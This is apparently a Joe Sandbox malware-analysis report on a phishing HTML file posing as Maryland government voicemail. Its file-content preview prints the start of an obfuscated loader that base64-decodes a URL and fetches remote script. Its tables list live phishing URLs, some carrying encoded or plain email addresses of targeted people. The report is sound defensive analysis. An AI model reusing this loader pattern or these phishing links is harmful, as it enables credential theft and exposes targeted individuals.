C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\LICENSE.txt

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_19991465\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\keys.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_204324407\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\cr_en-us_500000_index.bin

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_593253539\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_72890695\Google.Widevine.CDM.dll

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_72890695\_metadata\verified_contents.json

Windows Analysis Report
V-Mail_maryland.gov.html

Name	Source	Malicious	Antivirus Detection	Reputation
https://remix.run/route/hydrate-fallback	chromecache_773.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/KirrinFinchLogo-a5183c1d6d52e	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.shopify.com/tw	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.shopify.com/se	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/c/ShopifyBrasil	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/hero5-tiny-small-9189b66d4185	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.shopify.com/sg	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://shopify.com	chromecache_964.2.dr	false	Avira URL Cloud: safe	unknown
https://help.shopify.com/en/questions	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.shopify.com/vn	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://buildnative.shop	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.shopify.com/es-es	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/carousel-1-poster-small-59dcf	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.pinterest.com/shopify/	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://shop.app	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.shopify.com/uk	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/TheSill-logo-49566be659c5aacb	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/hero3-tiny-large-d0b4112015c3	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/pos-2-large-50a3a20f09c7d1fef	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/marketing3-small-6582aefc08f9	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.shopify.com/ph	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/checkout-small-035ed87133bc86	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://www.shopify.com/nz	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/hero2-large-9a67246f2c84608f8	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/carousel-2-mobile-small-b3fd6	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://remix.run/route/meta	chromecache_773.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/management2-small-eeb33beed09	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://devdegree.ca	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown
https://static.hotjar.com/c/hotjar-	chromecache_572.2.dr	false	URL Reputation: safe	unknown
https://cdn.shopify.com/shopifycloud/brochure/assets/home/redesign2022/products-large-65ee253c1e3e0e	chromecache_696.2.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
13.33.187.58	dzfq4ouujrxm8.cloudfront.net	United States	16509	AMAZON-02US	false
35.190.88.7	sessions.bugsnag.com	United States	15169	GOOGLEUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.251.173.156	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
157.240.252.13	unknown	United States	32934	FACEBOOKUS	false
93.184.221.26	cs6.wpc.omegacdn.net	European Union	15133	EDGECASTUS	false
142.250.184.194	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
69.49.245.172	newburymadison.com	United States	46606	UNIFIEDLAYER-AS-1US	false
157.240.0.35	unknown	United States	32934	FACEBOOKUS	false
142.250.185.198	ad.doubleclick.net	United States	15169	GOOGLEUS	false
34.111.94.218	gw-monorail-production-gateway-1-apps-a-us-ea1-ci2.shopifycloud.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	t2fhl.25bvnw8.ru	European Union	13335	CLOUDFLARENETUS	false
157.240.253.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
64.233.167.154	unknown	United States	15169	GOOGLEUS	false
152.195.15.58	fp2c5c.wac.kappacdn.net	United States	15133	EDGECASTUS	false
23.227.60.200	cdn.shopify.com	Canada	62679	SHOPIFYASN1CA	false
216.239.38.181	analytics-alv.google.com	United States	15169	GOOGLEUS	false
157.240.0.6	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
142.250.185.164	unknown	United States	15169	GOOGLEUS	false
185.146.173.20	www.shopify.com	Sweden	200760	ELOGIC-ASElogicSrl-CloudServicesIT	false
34.36.217.40	gtm.shopify.com	United States	2686	ATGS-MMD-ASUS	false
172.67.197.170	78tnc.seren1.com	United States	13335	CLOUDFLARENETUS	true
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.134	unknown	United States	15169	GOOGLEUS	false
192.0.78.26	href.li	United States	2635	AUTOMATTICUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
142.250.181.226	adservice.google.com	United States	15169	GOOGLEUS	false
18.245.31.48	cdn-cf.vidyard.com	United States	16509	AMAZON-02US	false
157.240.253.1	unknown	United States	32934	FACEBOOKUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
157.240.251.35	unknown	United States	32934	FACEBOOKUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1472007
Start date and time:	2024-07-12 07:26:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	V-Mail_maryland.gov.html
Detection:	MAL
Classification:	mal80.phis.evad.winHTML@47/914@126/40
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html Browse: https://www.shopify.com/#main Browse: https://www.shopify.com/start Browse: https://www.shopify.com/website/builder Browse: https://themes.shopify.com/?locale=en

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
93.184.221.26	https://m.exactag.com/ai.aspx?tc=d9056318bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Abpwebdesign.co.za%2ftiftb	Get hash	malicious	HTMLPhisher	Browse
	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDcEIKxjNFA-2BOW13itfj7a9IAzLwYt2QBGTig873yAaWkSzjh6k2lp7PGB45u-2B0rwxkiVm0ngeN9d9zp58ORY4qn2tSSGabCeN4rHRoJ0HL6Uy1uvcYQUMnyltAVQ4rdLTiE5btFdx9yQI2-2Bi2WQp4ms-3D0zLO_ETCJ0r0Oh88FRuxFQzOawcXtZOWvJo7Ia7Oiom44JEoHmOcNKRDD0Zo7gwsxBLmkEeNmflUt5nA8n-2BuxtDyAaxBr28alK692RqBKqXlRRBXNtLjZMBLWb4Ovd7Fwl5Ap0Q1auHmx969SszcNpGv6kNqNnQ-2FYwt6p5kGKuh1FO9ZwvdbFNJYvtdr4C-2BJjyG-2BKPyRzefO7iJKQTaVVEO-2BqKA-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDZIRt5HYOjqWnCYPyN2LzfWA5WJpqP15j9jckbuN-2BOb3WHvq-2F0cJQJdn87kO0MSPy0cFUfIeq9yRYQqhn4htwvkWsNx-2FFam80MMPtdHc4W-2BjtofBO6rARCMSHyY6bevTzA-3D-3Dl5B0_ZmIHaGi20aqBKA3sG1JfXxzr0sPFOA2uIfsKnhz-2FHsHlNN56Un7vVp-2FHLlgOEVpr0kMJXFtRNAtOmyfAL3Lkes92MiYR3EbwQLlO4as4ETAbkJiOU1P-2F6SWFB0T3LaiXQjVG47m8S-2B1KmL8spseUk6IF4zRohQ-2B-2FFQktOHSnuyuc8HWSvn8BvqxHU3iGIxrIS-2FUCmGYTBpWBLsLVoZYmGg-3D-3D	Get hash	malicious	HTMLPhisher	Browse
	https://0o2r8g.lotedes.com/iaxgkyg7/	Get hash	malicious	HTMLPhisher	Browse
	http://www.mftjgh.blogspot.sn/	Get hash	malicious	Unknown	Browse
	Senecapolytechnic_ Fax MSG2 FAX326891.html	Get hash	malicious	Unknown	Browse
	http://track.senderbulk.com/9125644/c?p=EmH8EZGOfwUY0dJl4J7IKQObk7mNaV-PfrG2JRVh5gaG6EVHxx58OyBsyHGidcLUv6U5LnFIR4t-BlCHjfHiQ0BnA57V4qpke8BUP4yOxvcrPnKYFN_fy-PyF9r_mwdSULZCCescJL_DsB24oLn23-PAHBtIbHNj57kzaDIRB91mm-BhWh3W4RpAjKYibV0TwqfWLZHAuBfjN6M20p0LivUIQzyU6kBrQeSStjNd1EtaB0zZwqpb-8RNWu6YivoO	Get hash	malicious	Unknown	Browse
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2flogin.00003326.com%2ftmflgCwk&c=E,1,JTWj2bHuNr1TNMAZHSMgieyKpIn8dpJDNdQeH6NJ4lxBOFuCMB0cFLijyNE_9E6Hph9NREkq_nGU0tMcH-mD0tt9fn4_tZcE1pr5DQWIEg,,&typo=1	Get hash	malicious	Unknown	Browse
	https://dev-abspreadpantheon.pantheonsite.io/ab/	Get hash	malicious	Unknown	Browse
13.33.187.58	https://lbg-calcs.vercel.app/	Get hash	malicious	Unknown	Browse
	http://www3.coso.workers.dev/assets/scripts/login/index.js	Get hash	malicious	HTMLPhisher	Browse
	SAPConcur.msix	Get hash	malicious	NetSupport RAT	Browse
151.101.66.137	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js
69.49.245.172	https://5rve2bms.r.eu-west-1.awstrack.me/L0/https:%2F%2Fm.exactag.com%2Fai.aspx%3Ftc=d9279613bc40b07205bbd26a23a8d2e6b6b4f9%26url=%2568%2574%2574%2570%2525%2533%2541kenfong.com%252Fwinner%252F54799%252F%252FbGF3cmVuY2UuZnJhbmNlQGNhYmluZXR3b3Jrc2dyb3VwLmNvbQ==/1/0102019036933333-15818f27-6536-4f7c-94ff-9a04497bf567-000000/vIL5T4ixe-4lQyI6m0NlGqCl204=379	Get hash	malicious	HTMLPhisher	Browse	kenfong.com/favicon.ico
	https://weblaunch.blifax.com/listener3/redirect?l=e6df36b9-5af1-4758-b7e4-83fbf7f30dfb&id=e0d346f1-f241-ee11-acc4-000c295a2555&u=http%253Aeyesontheguys.com%2Fwinner%2F03013%2F%2FYnJhbmRvbi5nYXJjaWFAZ3RmY3Uub3Jn	Get hash	malicious	HTMLPhisher	Browse	eyesontheguys.com/favicon.ico
	https://weblaunch.blifax.com/listener3/redirect?l=e6df36b9-5af1-4758-b7e4-83fbf7f30dfb&id=e0d346f1-f241-ee11-acc4-000c295a2555&u=http%253Aeyesontheguys.com%2Fwinner%2F87707%2F%2FcmVlZC5wZW5kbGV0b25AZXhwZXJpdGVjLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	eyesontheguys.com/favicon.ico
	https://weblaunch.blifax.com/listener3/redirect?l=e6df36b9-5af1-4758-b7e4-83fbf7f30dfb&id=e0d346f1-f241-ee11-acc4-000c295a2555&u=%68%74%74%70%25%33%41heinleinarchives.net%2Fnew%2F80701%2F%2Fa3Jpc3RpbmUuc29yZW5zZW5AcmVkd2lyZXNwYWNlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	heinleinarchives.net/favicon.ico
	https://weblaunch.blifax.com/listener3/redirect?l=e6df36b9-5af1-4758-b7e4-83fbf7f30dfb&id=e0d346f1-f241-ee11-acc4-000c295a2555&u=http%253Aeyesontheguys.com%2Fwinner%2F66812%2F%2Fc3RheWxvckBqZWZmcGFyaXNoLm5ldA==	Get hash	malicious	HTMLPhisher	Browse	eyesontheguys.com/favicon.ico
	https://m.exactag.com/ai.aspx?tc=d9496601bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Ablessedbeyondproperties.com%2Fwinner%2F71809%2F%2Fam9lbC5zZWFybGVAemJldGEuY29t	Get hash	malicious	HTMLPhisher	Browse	blessedbeyondproperties.com/favicon.ico
	https://manage.kmail-lists.com/subscriptions/subscribe/update?c=01H0G3BVA5P4WT38NKH3DY6QEB&a=WkVYqE&p=eyJUaWNrZXRfb3B0IGluIjogIlllcyJ9&k=53b9cf0c5602fbaff2d592c0e9b9058a&r=bigswitch%25E3%2580%2582co%25E3%2580%2582in///////////portfolio////////wpfile///////////wp-user%25E3%2580%2582////////////hgsusysyues////////amdvbEBiZ2NsaW5pYy5jb20=	Get hash	malicious	HTMLPhisher	Browse	bigswitch.co.in/favicon.ico
	https://r20.rs6.net/tn.jsp?f=001bkqLx4VA9V9-9cjr8F3mS_GZ3jv8wu1CrjGYvCIh7Cs1Zd2hmI2Fg3r2PwcFoev5xVrU6TTCVOPr-JKpFjiZ9SBmfuz2qGwy8tnjDHanCw8QSWiZdRhsKT0p-WHIb6hpQSCvdqLBoOH2xlhGk5fuIw==&c=ihjxwKkEncyzpaCxSndkOynX3sy9ZyN9ejOcfC9DIxWFkctc3VsasA==&ch=MPXyiw2PxuljH9_IywoacMF_OZeEnWl-v3iM5576DBOXsGd6-zP4Sw==&__=/asdf/am9obi5kb2VAbWFsaWNpb3VzLnBoaXNo	Get hash	malicious	HTMLPhisher	Browse	lafamulenta17.com/favicon.ico
	https://agoda.onelink.me/1640755593?pid=Email&c=inquiry_booking&af_dp=agoda%3A%2F%2Fhotel%2FAgoda%2520ABS%2520Dummy%2F2544216%26temp%3D0&adults=2&children=0&rooms=1&checkIn=2022-02-17&checkOut=2022-02-20&los=3&cid=1772772&af_force_dp=true&af_r=http://Co.rwtd.co.za/Co/ZGplZmZlcmlAY28uY2FtZXJvbi50eC51cw==	Get hash	malicious	HTMLPhisher	Browse	co.rwtd.co.za/favicon.ico
	https://agoda.onelink.me/1640755593?pid=Email&c=inquiry_booking&af_dp=agoda%3A%2F%2Fhotel%2FAgoda%2520ABS%2520Dummy%2F2544216%26temp%3D0&adults=2&children=0&rooms=1&checkIn=2022-02-17&checkOut=2022-02-20&los=3&cid=1772772&af_force_dp=true&af_r=http://Co.rwtd.co.za/Co/ZGplZmZlcmlAY28uY2FtZXJvbi50eC51cw==	Get hash	malicious	HTMLPhisher	Browse	co.rwtd.co.za/favicon.ico
151.101.130.137	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EDGECASTUS	https://zzmc.tatateri.com/lPY0TK6A/#Mandrew.lapkin@innocap.com	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	152.199.21.175
	Complete with Docusign andrew.pdf	Get hash	malicious	Tycoon2FA	Browse	152.199.19.160
	http://54e4trdry56sdxrfg.pages.dev/	Get hash	malicious	TechSupportScam	Browse	152.199.21.175
	https://products.office.com/	Get hash	malicious	Unknown	Browse	93.184.221.165
	http://x3ifs.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse	152.195.133.221
	http://skyid-skycom-signln-successurl.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	93.184.221.165
	http://aol-ahc-hrsn-form.pages.dev/	Get hash	malicious	Unknown	Browse	152.199.23.180
	http://gpfkk.ktt55.my.id/	Get hash	malicious	HTMLPhisher	Browse	152.195.133.221
	https://www.ijopjournal.com	Get hash	malicious	Unknown	Browse	93.184.221.165
	MDE_File_Sample_5adb45fe157507a805998c25c9d936ade5d1d6f4.zip	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
AMAZON-02US	file.exe	Get hash	malicious	Unknown	Browse	13.33.187.113
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.105
	https://zzmc.tatateri.com/lPY0TK6A/#Mandrew.lapkin@innocap.com	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	13.33.187.96
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.18
	MV SHUHA QUEEN II.exe	Get hash	malicious	FormBook	Browse	76.223.67.189
	http://att-108408-101682.weeblysite.com/	Get hash	malicious	Unknown	Browse	35.161.109.62
	http://54e4trdry56sdxrfg.pages.dev/	Get hash	malicious	TechSupportScam	Browse	76.223.111.18
	http://cueinboseprol.godaddysites.com/	Get hash	malicious	Unknown	Browse	54.69.190.217
	https://products.office.com/	Get hash	malicious	Unknown	Browse	52.222.169.33
FASTLYUS	http://cdn.jsinit.directfwd.com/sk-jspark_init.php	Get hash	malicious	Unknown	Browse	151.101.67.6
	https://zzmc.tatateri.com/lPY0TK6A/#Mandrew.lapkin@innocap.com	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	185.199.108.133
	terence.tinnelly-TT SLIP-PDF.shtml	Get hash	malicious	HTMLPhisher	Browse	199.232.192.193
	Complete with Docusign andrew.pdf	Get hash	malicious	Tycoon2FA	Browse	151.101.194.137
	http://att-108408-101682.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.129.46
	http://54e4trdry56sdxrfg.pages.dev/	Get hash	malicious	TechSupportScam	Browse	151.101.129.44
	http://cueinboseprol.godaddysites.com/	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://products.office.com/	Get hash	malicious	Unknown	Browse	151.101.129.44
	https://klaiimdanaa.siite-resmi.com/	Get hash	malicious	Unknown	Browse	151.101.1.229
FASTLYUS	http://cdn.jsinit.directfwd.com/sk-jspark_init.php	Get hash	malicious	Unknown	Browse	151.101.67.6
	https://zzmc.tatateri.com/lPY0TK6A/#Mandrew.lapkin@innocap.com	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	185.199.108.133
	terence.tinnelly-TT SLIP-PDF.shtml	Get hash	malicious	HTMLPhisher	Browse	199.232.192.193
	Complete with Docusign andrew.pdf	Get hash	malicious	Tycoon2FA	Browse	151.101.194.137
	http://att-108408-101682.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.129.46
	http://54e4trdry56sdxrfg.pages.dev/	Get hash	malicious	TechSupportScam	Browse	151.101.129.44
	http://cueinboseprol.godaddysites.com/	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://products.office.com/	Get hash	malicious	Unknown	Browse	151.101.129.44
	https://klaiimdanaa.siite-resmi.com/	Get hash	malicious	Unknown	Browse	151.101.1.229
UNIFIEDLAYER-AS-1US	ER987654567909.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.241.62.63
	terence.tinnelly-TT SLIP-PDF.shtml	Get hash	malicious	HTMLPhisher	Browse	162.214.65.182
	http://umq.nxb.mybluehost.me/Portal/SBB/index	Get hash	malicious	Unknown	Browse	173.254.104.65
	http://daikincomfort.dogfriendlytahoe.com/	Get hash	malicious	Unknown	Browse	192.185.24.110
	https://riverwalkbengals.com/download_files1/index.html	Get hash	malicious	Unknown	Browse	192.185.167.138
	DSFRT987600000.exe	Get hash	malicious	AgentTesla	Browse	162.241.62.63
	FcMd5XxxZ0.elf	Get hash	malicious	Mirai	Browse	162.240.221.188
	y7cm9CKSN9.elf	Get hash	malicious	Mirai	Browse	98.130.46.62
	http://www.xfinityconnect.comcastappmobile.162-240-175-16.cprapid.com	Get hash	malicious	Unknown	Browse	162.240.175.16

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.searchvity.com	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	https://www.cognitoforms.com/Bellis2/BELLISAUSTRALIAPTYLTD	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27
	https://mail.pfl.fyi/v1/messages/01909fdd-253c-74e4-a4d4-2d3080c42178/click?link_id=01909fdd-2577-78fa-9aa1-1363f665f21c&signature=ec89d906ae45cddf78ff2ac5ff90a7b4fb4098de	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	SecuriteInfo.com.not-a-virus.HEUR.RemoteAdmin.Win32.Conne.gen.1416.17840.exe	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	tmp3A62.htm	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	https://zzmc.tatateri.com/lPY0TK6A/#Mandrew.lapkin@innocap.com	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	40.127.169.103 184.28.90.27
	terence.tinnelly-TT SLIP-PDF.shtml	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27
	http://bitcoindogsclub-65w.pages.dev/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27
	http://att-108408-101682.weeblysite.com/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jul 12 04:27:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.972183157786557
Encrypted:	false
SSDEEP:	48:8ndRTZhwcH7cidAKZdA19ehwiZUklqehTy+3:8zr9qsy
MD5:	E8E6892C1B3C43A00BEC4AB367C225D2
SHA1:	9F61BA462CA1EF8C88FC8EE15465F7BF4FED55E9
SHA-256:	717AC9C954F79207129FEB25FBFFBA1687B7B76E48599F05646A9700B0D4DD93
SHA-512:	6A301755DAE4DCAF1CE728277A155B1FA3B453CCB88B6FC1C09500E2D8A5CB3C6672D01E3C2DB143E80B532DF48ADA565254AD01E1F6D08748B9D3CCFBDAEC40
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....6.)....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Xg+....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Xg+....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Xg+....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Xg+..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Xi+...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............s.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	5.7350355929523875
TrID:
File name:	V-Mail_maryland.gov.html
File size:	426 bytes
MD5:	48799cb77a7389a1ec8f7161e1ff6212
SHA1:	3a4dca81b9e265d57152fb5f17c03bcdf5039406
SHA256:	b987d6aa09ccf9d690ad82fa39794bb236bdd7d3874719b40807a5f233827636
SHA512:	9edb19381eae2f5109fd335181ad98264f351a26b6ccfc6816bfaac6459be62e1dce79d814424c0dadbec3f9a34aeb170bc249a5b6fd709dd3bb2cc5c2ceed62
SSDEEP:	12:/haJMjNVMzo5gZpTNTKNukUmL3f0Ag/hfn4bvhQrVKQWEMCYb:eaNVMzo5gNof0Akn4b5QsEMC2
TLSH:	90E0ABAB7F548D0B1130DEDB7821B1C8991A990439D3EE9AC5A00D9725177A32DD1643
File Content Preview:	<html lang="en">..<head>..<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>..<script>..const labyrinth = "#Mdlbehavioralhealthadministration_mdh@maryland.gov";..$.getScript(atob(`aHR0cHM6Ly9uZXdidXJ5bWFkaXNvbi5jb20vNDA0bmV3LnBocD8yLTY4Nz

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 12, 2024 07:27:16.241202116 CEST	192.168.2.5	1.1.1.1	0x3f1d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:16.241322041 CEST	192.168.2.5	1.1.1.1	0xc1c7	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:17.032172918 CEST	192.168.2.5	1.1.1.1	0xd159	Standard query (0)	newburymadison.com	A (IP address)	IN (0x0001)	false
Jul 12, 2024 07:27:17.032282114 CEST	192.168.2.5	1.1.1.1	0x5dfd	Standard query (0)	newburymadison.com	65	IN (0x0001)	false
Jul 12, 2024 07:27:17.042079926 CEST	192.168.2.5	1.1.1.1	0xbb4b	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
